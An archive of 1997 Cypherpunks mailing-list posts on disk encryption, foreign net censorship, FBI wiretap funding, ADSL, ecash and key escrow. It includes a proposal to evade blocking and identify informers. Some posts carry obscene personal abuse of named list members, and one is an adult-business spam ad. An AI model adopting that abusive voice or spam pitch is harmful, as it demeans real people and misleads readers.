did it. But im still on it neway?
What more detials can i provide?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 23:18:09 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Encrypting ZIP drives?
Message-ID: <3.0.32.19970121231633.006e2694@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 12:21 AM 1/22/97 -0600, David E. Smith wrote:
>At 09:35 PM 1/21/97 -0800, you wrote:
>>I am looking for a transparent (strong) encryption of ZIP drives.
>>Any advice would be appreciated.
>
>IBM or Mac?

Parallel on Win95.

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 22:19:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fighting the cybercensor. (fwd)
Message-ID: <199701220611.AAA06975@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 13:50:15 -0500
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Fighting the cybercensor.
> 
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it?

'We' shouldn't, it is their own country and it is up to their populace to
stop it. Do you really want Singapore or China having a say in how we run
our web? I certainly don't, and won't support any move to force any
particular view on them. If Billy-Bob wants to shoot himself in the foot,
let him. Might be purty funny to watch.

> The Web was conceived as offering despots and dictators a choice 
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.

Bull, the web was conceived so physicist and other researchers could share
data in a easily digestible format. The web and technology in general have
no more ethics or morality intrinsicly in them than a 5/8" open end
wrench. Blocking and filtering are an expression of human choice and the
implimentation thereof. You don't like it, don't live there and don't try to
call there. You or I have no more right to be on a Chinese or Singapore
Internet than they have in coming into yours or my home without an invitation.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 00:32:20 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
In-Reply-To: <199701220638.BAA02052@mercury.peganet.com>
Message-ID: <32E5CD25.74BB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> Sean Roach <roach_s@alph.swosu.edu> wrote:
> > At 02:22 AM 1/21/97 -0800, Toto wrote:
> > >Bill Campbell wrote:

> > I believe he is referring to silencing the list, not Vulis.  As long as the
> > members of this list are argueing over semantics, the government has one
> > less challenger in the fight over our rights.
> > Remember, one of the oldest tactics of war is to turn the enemy against itself.

> I fear that many have now left the list, since it now seems to resemble,
> in many ways, a list consisting of high school age "wannabes" who think
> it's really cool to attack people just because they can. The downward
> spiral into inconsequential meaningless postings began with posts
> containing the word "fart".  So cool, dudes.

The list only suffers when you guys stop posting crypto/political
info.  For example, if tomorrow there are 100 new posts, and 10 of
them are crypto/political relevant, and 10 more are like this one
(I'm ignoring the other 80 for this example), then the list is only
10% relevant.  Take away these 10, and it's 11.1%, but 10 less posts
to read.  Turn these 10 into something relevant, and voila(!), the
list is now 20% relevant.

You see, it's up to you, Bill.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Tue, 21 Jan 1997 22:20:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP drives?
Message-ID: <3.0.32.19970122002100.0069b564@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


At 09:35 PM 1/21/97 -0800, you wrote:
>I am looking for a transparent (strong) encryption of ZIP drives.
>Any advice would be appreciated.

IBM or Mac?

Methinks (and I haven't tried it, but I think I will soon) that
at least on the IBM side, the usual realm of existing software
(SecureDrive/SecureDevice are the first things that come to
mind) ought to work.  After the Iomega ZIP drivers are in place,
the Zip drive is 'just another drive' as far as most applications
can see.

dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BUSINESS@VNET.NET (CHAMBER OF COMMERCE)
Date: Tue, 21 Jan 1997 17:00:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Adult Chamber of Commerce is now open
Message-ID: <32E566AC@VNET.NET>
MIME-Version: 1.0
Content-Type: text/plain


            ARE YOU A BUSINESS OWNER WITH A WEB SITE?

    We got your E-mail address from your Business newsgroup posting.
        We did not put your E-mail address on a mailing list!

IF YOU ARE A BUSINESS OWNER WITH A WEB SITE, you should know that The Adult
Chamber of Commerce represents professional ADULT businesses on the Web.
The amount of traffic to our Web site is astounding.  A massive portion of
the Web has Doctors, Lawyers, Accountants, your neighbors, and all sorts of
people (buyers) visiting dult sites.  It's just the nature of the Web.

YOU CAN CAPTURE SOME OF THIS MASSIVE TRAFFIC TO YOUR WEB SITE through a
Membership in The Adult Chamber of Commerce.  All member companies, Adult &
Non-Adult, get listed in the Chamber member links section with an icon that
indicates you do business in accordance with the Better Business Practices
of The Adult Chamber of Commerce.  This listing literally guarantees
significant additional traffic to your Web site.

Membership in The Adult Chamber of Commerce is omething you should
consider if you are interested in getting greater exposure on the Web.
Member companies proudly display the Adult Chamber Logo on their web sites.

Each company is checked out before membership is approved.  Since it costs
a business as little as $240 annually for membership, it's not expensive
for a company to tell others that they support the only professional
organization for responsible ADULT businesses.  A business applies for
membership at the Adult Chamber Web site and visitors reularly check to
see if the company [they're planning to buy from] is a Member in Good
Standing.

      The Adult Chamber of Commerce web site is the place to find
           the BEST & most responsible companies on the Web.

             ==============================================
             Visit and Bookmark http://www.adultchamber.com
             ==============================================

Here is how we tell buyers about the Chamber:

     The Adult Chamber of Commerce is on the Internet to prtect you.

   ALWAYS look for the Adult Chamber Logo BEFORE BUYING ANYTHING ADULT.
The Chamber is here to help separate professional adult companies from the
many thousands that are online.  Visit the Chamber links often!

IF YOU OWN A BUSINESS, applying for MEMBERSHIP to The Adult Chamber of
Commerce is easy.  The Web site has an online application.  Memberships are
processed daily and increasing traffic to your Web site is as easy as
becoming a member!  The chamber has other services besides increasing
trffic to your Web site.  We design, re-design and host Web site
professionally.  Visit www.adultchamber.com for the whole story and you
will see why membership is a good idea for any business.  We hope to see
your company support the Chamber.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 21 Jan 1997 22:46:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701220638.BAA02052@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach <roach_s@alph.swosu.edu> wrote:
> At 02:22 AM 1/21/97 -0800, Toto wrote:
> >Bill Campbell wrote:
> >
> >> I feel we at a *critical* crossroads in this debate, and one of the
> >> more important voices has *very* effectively been silenced.
> >
> >  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
> >worked, to date.
> > 
> I believe he is referring to silencing the list, not Vulis.  As long as the
> members of this list are argueing over semantics, the government has one
> less challenger in the fight over our rights.
> Remember, one of the oldest tactics of war is to turn the enemy against itself.

  I thought my meaning was obvious, but thanks for pointing it out
to those who didn't get it.
  When I first began reading this list, I realized that a lot of
important information was being put out; and it certainly raised
my awareness of issues that I had not previously thought about.
I believe that many other subscribers to the list also were exposed
to many of these concepts, and that many subscribers to the list
were people who could make a difference.
  I fear that many have now left the list, since it now seems to
resemble, in many ways, a list consisting of high school age
"wannabes" who think it's really cool to attack people just
because they can.
  The downward spiral into inconsequential meaningless postings
began with posts containing the word "fart".
  So cool, dudes.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 22 Jan 1997 02:17:25 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701220611.AAA06975@einstein>
Message-ID: <32E5F6F0.38F8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.

  And Germany was Hitler and the Nazi Party's own country.
  Do you really want Clinton and GingWretch having a say in how we run
our
web? (I don't).
  It may be 'their' country ('their' being the government), but it is 
'their' world ('their' being the people). There was a reason that the 
Western powers didn't return East Germans who broke the laws of their
country by climbing over the wall and running for freedom.
  Making information available does not 'force' a view on anyone.

> > The Web was conceived as offering despots and dictators a choice
> > between remaining in the dark ages and allowing freedom of
> > speech.

  I want a couple of whatever this guy is on.

> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. 

  No. The internet was conceived so that the DOD could monitor the
communications
of physicists and researchers who thought it was awfully nice of the
government
to provide this wonderful method of sharing data and information.

  Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 22 Jan 1997 04:14:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re:
In-Reply-To: <32E5AFA8.768E@gte.net>
Message-ID: <Pine.SUN.3.91.970122040309.10316B-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 21 Jan 1997, Dale Thorn wrote:

> Mixmaster wrote:
> 
> > Is there a moderated list available which expunges only Dale?
> > The good Dr., though vicious, is really quite clever, though vicious.
> > Dale is only a bore. Only.
> > Hugs to all.
> 
> I laughed so hard I nearly peed my pants.  BTW, does the word
> "peed" make this post go into the dumper??  [hee hee]
> 
> 

No.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Wed, 22 Jan 1997 02:29:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <1.5.4.16.19970122053234.44ff22a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


  That would be Samuel Slater, who built his mill in Pawtucket, Rhode Island
(still there, on Roosevelt Avenue) in 1793.  He reproduced his former boss's
factory from memory in order to collect on a bounty offered in the US on the
export-restricted patent.

  - Richard Field



At 06:39 PM 1/21/97 -0500, Sean Roach <roach_s@alph.swosu.edu> wrote:

>This has often reminded me of something that occurred around 1776.
>I can't remember if it was before or after.
>Remember how the colonies got sophisticated spinning gear?
>I believe it was spinning gear.
>Great Britain had a ban on the export of functional models, diagrams or
>manufacturing instructions to one particular class of equipment.  This was
>so that they could maintain the monopoly on cheaply made cloth, holding the
>outlying colonies in line by maintaining a dependancy.
>One man memorized the structure of one of these machines and then came to
>the American shores, where he reproduced it workably.
>
>I can't remember the name of the man or the machine, just that it was used
>in the manufacture of cloth, the "spinning jenny" i think.  Nor can I
>remember the date.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 22 Jan 1997 06:02:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <v02140b01af0bcea6142d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>||| FBI moderates its communications-surveillance request |||
>
>TBTF for 5/4/95 [6]
>
>In 1995 the FBI asked for and was granted $500 million to augment the
>government's ability to tap communications (of this total $100M has
>been released to the FBI so far). Privacy advocates expressed outrage
>at the FBI's stated capacity goal: to be able to listen in on 1% of
>installed telephone lines at any time. This translates to about 1.6
>million taps simultaneous of all kinds: pen registers, trap-and-trace,
>and wiretaps. The FBI withdrew its initial proposal under fire and on
>1/14 submitted a revised proposal -- press release at [7], analysis
>at [8]. Unlike the earlier draft, this essay lays out its assumptions
>and straightforwardly projects needed capacity growth. The result is
>a capacity figure of fewer than 60,000 intercepts, less that 4% of
>the original request. This level of capability would allow the FBI
>simultaneously to monitor more than 500 phone lines in an area with
>the population of Manhatta still an enormous increase on historical
>numbers of intercepts.
>
>[6]  <http://www.tbtf.com/archive/05-04-95.html>
>[7]  <http://www.fbi.gov/pressrel/tele/telephon.htm>
>[8]  <http://www.cdt.org/publications/pp_3.01.html>
>

At least as important was their request to legally tap any telephone line
for 48 hours w/o a warrant.  What ever happended to that?

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 22 Jan 1997 06:14:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADSL (Was: GSM technology
Message-ID: <v02140b02af0bd0e79bf7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>>       Does anyone use ADSL lines?  or are they still very expensive?
>
>They're not widely available yet; I don't know if any of the (US)
>phone companies offer it as more than trials.  One limitation is that
>the technology works over copper wire, so it has to be offered at
>your local telco wire center.  Of course, your local telco has to
>have something useful to do with the bits once the user sends
>them to the telco, and has to have some useful bits to send the user.
>This means they've got to haggle about standards for 5 more years
>(or just do the right thing and deploy IP, with some respectable
>bandwidth to the outside world) (or deploy ATM to get a layer 2
>connection to something outside.)

That was the intent of at least one sectio of the recently enacted Telecom
Reform Act, but now the Baby Bells are trying to block local access
provisions in the SC which would allow, for example, ISP to offer
ISDN/ADSL/HDSL via their own CO equipment (bypassing the telco switches).

>
>Don't know if the telcos have a clue about pricing, either.
>It's obviously got to be more than cost, but they'll probably
>thrash around a lot the way they did with IP....
>
>#                       Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Tue, 21 Jan 1997 22:56:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fascist cocksuckers: 0, Freedom of speech: 1
Message-ID: <19970122065600.27658.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>> John Young wrote:
>> >  Governments in China, Burma and
>> >  Singapore have already tried to discipline this on-line activity with
>> >  minimal success.
>>
>>   Do you have any pointers to information in regard to this, or are you
>> just being a goddamn tease?
>
>For example, the fascist cocksuckers Sandfart and Geekmore have been
>totally impotent in their failed attempts to suppress free speech.
>
>Gilmore's as inept as the governments of China, Burma and Singapore combined.
>
>        FUCK CENSORSHIP.  FUCK EFF (EFFEMINATE FASCISTS FOUNDATION).
>
>---
>

Seems as if you've been censored!  Bummer, dude!

0tto

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Tue, 21 Jan 1997 22:59:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
Message-ID: <19970122065951.28605.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>From cypherpunks-errors@toad.com Tue Jan 21 16:57:46 1997

>"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
>
>> Mission:
>>
>> Singapore and China are blocking certain net groups. I think
>> this is a bad thing, question is how can we stop it? The Web
>> was conceived as offering despots and dictators a choice
>> between remaining in the dark ages and allowing freedom of
>> speech. Blocking and filtering schemes threaten this ideal.
>
>Phil, when I saw the subject, I thought this was another article
>condemning Gilmore, Sandfort, and their disgraceful censorship.

What's up with this one getting censored?  You didn't say cocksucker or fuck or
anything?

Otto

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 22 Jan 1997 07:48:44 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor.
Message-ID: <199701221548.HAA25171@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:50 PM 1/21/97 -0500, Phillip M. Hallam-Baker wrote:
>Mission:
>
>Singapore and China are blocking certain net groups. I think
>this is a bad thing, question is how can we stop it? The Web
>was conceived as offering despots and dictators a choice 
>between remaining in the dark ages and allowing freedom of
>speech. Blocking and filtering schemes threaten this ideal.
>
>
>Requirements:
>
>A scheme which makes blocking of individual IP addresses 
>impractical.
>
>
...
>2c) Some crypto hack I can't quite work out (hence the post to
>cypher punks). I can phrase the challenge more compactly though.
>We have two sets of opposed groups A and M. The A group wish to
>establish a continued conversation with groups B and C. M is 
>willing to permit communication with group B but not C. Whenever
>M discovers that a member of group B is willing to act on behalf 
>of group C, M transfers that member to the C group.
>
>The problem is to keep A's channels of communication open despite
>the efforts of M for very large group sizes. 
>
...
>
>Comments? If people are willing to work on this I can provide 
>some facilities and act as a media contact.
>
I believe that I heard a suggestion here once involving accepting Vulis's
posts, all of them, but only distributing them to Vulis.
I have also heard, on a web-based bulliten board (please excuse the
spelling), about setting up a proxy for the CDA supporters routing all of
thier requests to a VAX loaded with only "clean" stuff, either by
engineering it for them, or routing all of thier communications to an
existing "clean" site.
The idea here is, if the government doesn't know what sites to block, i.e.
thier in office checks of said site checked out but everyone gets a
different look, they can't block them.  To begin blocking proxies, they
would have to get spies in the population to tell them where the "trash" is,
or pay a bounty for every such site, which they would then have to figure
out how to verify.  This would require spies on our part as well.  Ones to
say that so-and-so citizen has been informing to the government so that the
operators could put that citizen on the government list, the list of people
to give the filtered "wholesome" feed to.
Such an effort would require a great amount of effort and would probably be
best suited to the EFF or other existing freedom protection organization.
The setup would be similair to a "pirate broadcast" in the views of the
government and would thus be best operated from safe shores.
The spy ring would be simple.
A e-mail address or other semi-secure drop-off point would be maintained for
snitches.  This address would be well advertised on the board, a SINGLE system.
When a tattler is fingered by a fellow tattler, the government side tattler
is baited with highly inflammatory, but mostly worthless, articles about the
government.  If the site is blocked, the informer is blocked.
There are several kinks to work out.
The single site would be easier to maintain, having "disposible" repeater
sites which the government can see to block.  Thus the main site would never
be seen unshielded, though if it was, it wouldn't mean anything.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 22 Jan 1997 09:52:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seismic Crypto
Message-ID: <199701221752.JAA26468@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:39 PM 1/21/97 -0500, John Young wrote:
>In a NYT report today on a "mysterious" blast in the
>Australian outback in 1993, there's mention of "seismic
>weapons" and research on them by Nicholas Tesla
>in the 1930s.
>
>Would any of our weapons connoisseurs have more
>info on what these are and how they were supposed to
>work? Electrical, chemical, nuclear?
...
Pick up a copy of the Johnson Smith Catalog, lots of fun to read and they
sell t-shirts with greys on them.
The catalog sells several "contriversial" books and tapes, including psycic
healing techniques, astral projection, the infamous alien autopsy tape, and
several books about and works by Tesla, including one specifically about the
device that you are talking about.
On another thread, pick up the Cheek3 Scanner modification guide while your
at it, I hear that it is a good resource.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 22 Jan 1997 07:17:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: EZP_ikn
Message-ID: <1.5.4.32.19970122151051.006d4334@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


01-21-97:
 
"Method and apparatus for end-to-end encryption of a data
packet in a computer network (Assignee -- Digital Equipment
Corporation)"

  Inventor(s): Hawe, William R., Lampson, Butler W., Gupta, Amar


"Mykotronx Upgrades US Army Satellite Comms"

  Mykotronx will develop and manufacture the refurbished Batson 
  encryption subsystem, called the RBatson. Also known as KIG-34, 
  the system will provide critical command and control protection 
  for the US Defense Satellite Communication System (DSCS), 
  including encryption, authentication, and anti-jamming 
  capabilities.

-----

EZP_ikn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Wed, 22 Jan 1997 07:14:01 -0800 (PST)
To: stewarts@ix.netcom.com>
Subject: RE: ADSL (Was: GSM technology
Message-ID: <9700228539.AA853956802@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> wrote re: ADSL lines>
They're not widely available yet; I don't know if any of the (US)
phone companies offer it as more than trials.  One limitation is that
the technology works over copper wire, so it has to be offered at
your local telco wire center.
 
A previous poster mentioned that because of the copper wire restriction, that
they may deploy first in older centers. This would appear to be the case, since
a Canadian telco (Sasktel) is offering ADSL in Saskatoon for 60$/month with
unlimited internet access. Saskatoon falls into this category - in my opinion.
 
I was only is SK briefly over New Years, but perhaps Toto can fill in details.
 
James





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Wed, 22 Jan 1997 08:39:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: EZP_ikn
In-Reply-To: <199701221555.HAA25232@toad.com>
Message-ID: <32E642D0.5A82@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> 01-21-97:
> 
> "Method and apparatus ...
> 
>   Inventor(s): Hawe, William R., Lampson, Butler W., Gupta, Amar

I thought Lampson worked for Microsoft?

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 22 Jan 1997 07:50:20 -0800 (PST)
To: mech@eff.org
Subject: David Kahn advocates GAK
Message-ID: <199701221607.LAA15068@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


In today's (22 Jan 97) Long Island, NY Newsday Viewpoints, p. A31:

"Let Feds Overheard Cellular-Phone Talk"
by David Kahn (an editor at Newsday and author of "The Codebreakers")

He intones the usual horseman: "...such criminals as terrorists, drug-
runners, kidnappers and child-pornographers are increasingly using 
encryption to conceal their plans and activities, the FBI says."

He also mis-states opponenents of GAK positions, claimingthe 
criticism is that "key escrow [at least he doesn't call it key 
recovery] won't work all the time", ignoring anti-GAK mentions of 
COINTELPRO, J.Edgar Stalin^H^H^H^H^H^HHoover, etc. etc.
And the usual nonsense about "every day that criminal messages can be 
heard is a gain" w/out noting that anyone smart enough to use crypto 
now will not use it if GAK is fully implemented.

Newsday is part of the LA Times Syndicate, so member papers may also 
have the same viewpoint appearing in their pages within the next 
couple of days.

Their website is http://www.newsday.com ... I don't know if the 
viewpoint is on-line there.

Rob



-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 22 Jan 1997 08:38:38 -0800 (PST)
To: Bill Stewart <jcr@idiom.com>
Subject: Re: Donna Rice, etc.
In-Reply-To: <199701221212.EAA23251@toad.com>
Message-ID: <v03007878af0bec8d4271@[139.167.130.249]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:50 am -0500 1/22/97, Bill Stewart wrote:
>>Yes, it's the very same Bimbo who scuttled Gary Hart's campaign,
>I think you have to give Gary all the credit for that;
>the "Hey, I'm not doing anything wrong and you could follow me
>around 24 hours a day and not find anything" bit convinced me that
>Hart was a major flake

A pal of mine from Mizzou was the photographer who took the Donna/Gary
lap-sit photo.

He got the Pulitzer prize.

Whole episode says more about American "journalism" than anything else, and
*I'm* a congenital Republican.

ObGeodesicMarkets: It was a joke about Donna Rice that got me thinking
about the speed of information propagation in the capital markets. ("What
did Donna Rice say when the reporters caught her leaving Gary Hart's house?
She said she was taking a poll. <hyuk!>)  The joke appeared on the Morgan
Stanley equity trading desk no more than 15 minutes after the story hit the
Reuter's newswire. In that time, the joke was thought up, somewhere in the
world, and disseminated all over, ending up in the midwestern hinterlands
of Chicago, by way of London. Since trading desks talk to each other with
direct lines, the network formed by them is a geodesic one, even though
people are the "switches".

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 22 Jan 1997 08:33:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <1.5.4.32.19970122162811.006c47b0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Yep, thanks for the pointer, Rob. Kahn's online at:

   http://www.newsday.com/mainnews/rnmi0522.htm

Anybody unable to access, send us a note:

KAH_nak






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 22 Jan 1997 10:36:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Aussie Ecash at Advance Bank
Message-ID: <v0300787daf0bf6442966@[139.167.130.249]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
MIME-Version: 1.0
Precedence: Bulk
Date: Wed, 22 Jan 1997 16:42:59 +0100
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Aussie Ecash at Advance Bank

<snipped Received headers>
From: Edward Breese x1364 <edwardb@executive.advance.com.au>
To: ecash-merchant <ecash-merchant@advance.com.au>
Subject: ecash - latest news
Date: Tue, 21 Jan 97 17:44:00 EST
Message-Id: <32E47395@central.advance.com.au>
Encoding: 41 TEXT
X-Mailer: Microsoft Mail V3.0
Sender: ecash-merchant-request@whitetail.advance.com.au
Resent-Message-Id: <B0000000184@whitetail.advance.com.au>
Resent-From: ecash-merchant@whitetail.advance.com.au
X-Unsub: To leave, send text 'LEAVE' to
<ecash-merchant-request@whitetail.advance.com.au>


Dear ecash  enthusiast,

A short note to let you know that the ecash System Integrators kit was
posted on the Internet last week.
You can find it at: www.advance.com.au/advance/ecash/sysint.htm

We are currently testing the ecash system internally here at Advance Bank.
 We hope to make the merchant software available for free download in the
next 2-3 weeks - you will then be able to start building and testing your
ecash enabled web sites.

There will also be supporting documentation, such as:
 - the ecash merchant information kit
 - how to build an ecash shop
 - ecash usage guidelines etc

Thank you again for your interest.  We'll let you know as soon as the
software is available for download.

Advance Bank




Subscription Information
========================

To subscribe to the ecash mailing list by e-mail:
Send an email message to ecash-merchant-request@advance.com.au and in the
BODY of the message type:

SUBSCRIBE

If you'd like to remove yourself from the ecash mailing list:
Send an email  message to ecash-merchant-request@advance.com.au and in the
body of the message type:

UNSUBSCRIBE






--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Tunnicliffe" <Tunny@inference.com>
Date: Wed, 22 Jan 1997 12:23:29 -0800 (PST)
To: "'WlkngOwl@unix.asb.com>
Subject: RE: David Kahn advocates GAK
Message-ID: <c=US%a=_%p=Inference%l=LANDRU-970122201953Z-17619@landru.novato.inference2.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Robert Rothenburg 'Walking-Owl' <WlkngOwl@unix.asb.com> writes:
  > In today's (22 Jan 97) Long Island, NY Newsday Viewpoints, p. A31:
  
  > "Let Feds Overheard Cellular-Phone Talk"
  > by David Kahn (an editor at Newsday and author of "The
Codebreakers")
  
  > He intones the usual horseman: "...such criminals as terrorists,
drug-
  > runners, kidnappers and child-pornographers are increasingly using 
  > encryption to conceal their plans and activities, the FBI says."

Lions and tigers and bears, oh MY!

